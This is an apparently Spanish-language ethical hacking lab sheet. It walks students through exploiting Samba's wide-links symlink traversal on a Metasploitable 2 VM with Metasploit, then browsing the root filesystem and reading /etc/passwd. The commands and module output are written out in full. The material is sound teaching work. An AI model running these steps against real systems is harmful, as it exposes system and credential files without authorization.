

Materia:	Ethical Hacking
Unidad:	3
Práctica:	4 Exploit (samba-CIFS)
Versión:	1.0
Objetivo:	¿Quién? El alumno, ¿Qué? entenderá cómo acceder a recursos no compartidos, ¿Cómo? usando la herramienta metasploit, ¿Para qué? en orden a conocer la fase de ataque al objetivo.
Horas teórico-prácticas:	1.5 hrs
Puntuación:	% de la calificación final
Logística:	<p>Práctica personal. Tomar evidencias de todo para el reporte final. Se utilizarán las VVMM kali y metasploitable 2:</p> <p>En Samba, cuando se ha compartido un archivo en modo escritura y se ha habilitado el modo “wide links” (esta opción especifica que el usuario puede seguir ligas o enlaces simbólicos que apunten fuera del directorio compartido), puede ser usado como un backdoor para acceder a archivos que no fueron intencionalmente compartidos. A continuación se usará Metasploit para ganar acceso a la raíz del filesystem de root.</p> <p>Enumeración:</p> <p>La etapa de escaneo se ha realizado en prácticas anteriores, por eso se omite. La enumeración consistirá en encontrar los recursos que podrían ser vulnerables.</p> <p>1. Con el siguiente comando podemos darnos cuenta que el directorio tmp tiene permisos de escritura:</p> <pre> \$ smbclient -L //192.168.56.130 Password for [WORKGROUP\kali]: Anonymous login successful Sharename Type Comment ----- admin\$ print\$ Disk Printer Drivers ne tmp Disk oh noes! opt Disk IPC\$ IPC IPC Service (metasploitable server (Samba 3 .0.20-Debian)) ADMIN\$ IPC IPC Service (metasploitable server (Samba 3 .0.20-Debian)) Reconnecting with SMB1 for workgroup listing. Anonymous login successful Server Comment ----- Workgroup Master WORKGROUP METASPLOITABLE </pre> <p>Explotación</p> <p>2. A continuación se usará el módulo de Metasploit correspondiente a esa vulnerabilidad, y se configurará:</p>

```

msf6 > use auxiliary/admin/smb/samba_symlink_traversal
msf6 auxiliary(admin/smb/samba_symlink_traversal) > show options

Module options (auxiliary/admin/smb/samba_symlink_traversal):

  Name          Current Setting  Required  Description
  --          -
  RHOSTS        192.168.56.130  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT         445             yes       The SMB service port (TCP)
  SMBSHARE      tmp             yes       The name of a writeable share on the server
  SMBTARGET     rootfs          yes       The name of the directory that should point to the root filesystem

View the full module info with the info, or info -d command.

msf6 auxiliary(admin/smb/samba_symlink_traversal) > set RHOSTS 192.168.56.130
RHOSTS => 192.168.56.130
msf6 auxiliary(admin/smb/samba_symlink_traversal) > set SMBSHARE tmp
SMBSHARE => tmp

```

3. Se ejecuta el exploit

```

msf6 auxiliary(admin/smb/samba_symlink_traversal) > exploit
[*] Running module against 192.168.56.130

[*] 192.168.56.130:445 - Connecting to the server...
[*] 192.168.56.130:445 - Trying to mount writeable share 'tmp'...
[*] 192.168.56.130:445 - Trying to link 'rootfs' to the root filesystem...
[*] 192.168.56.130:445 - Now access the following share to browse the root filesystem:
[*] 192.168.56.130:445 - \\192.168.56.130\tmp\rootfs\

[*] Auxiliary module execution completed
msf6 auxiliary(admin/smb/samba_symlink_traversal) > exit

```

4. Y a continuación ya se podrán “montar” el recurso compartido y navegar en él. En el ejemplo se prueba entrar al directorio etc y se puede ver el contenido del archivo passwd:

```

$ smbclient //192.168.56.130/tmp
Password for [WORKGROUP\kali]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> cd rootfs
smb: \rootfs\> cd etc
smb: \rootfs\etc\> more passwd

```

Entregable: Toda vez que se haya terminado la práctica, redactar el reporte del análisis de pentesting (plantilla). Limitarse a reportar y documentar el servicio comprometido y la vulnerabilidad explotada.

Bibliografía: "Penetration Testing: A Hands-On Introduction to Hacking" por Georgia Weidman
<https://docs.rapid7.com/metasploit/msf-overview/>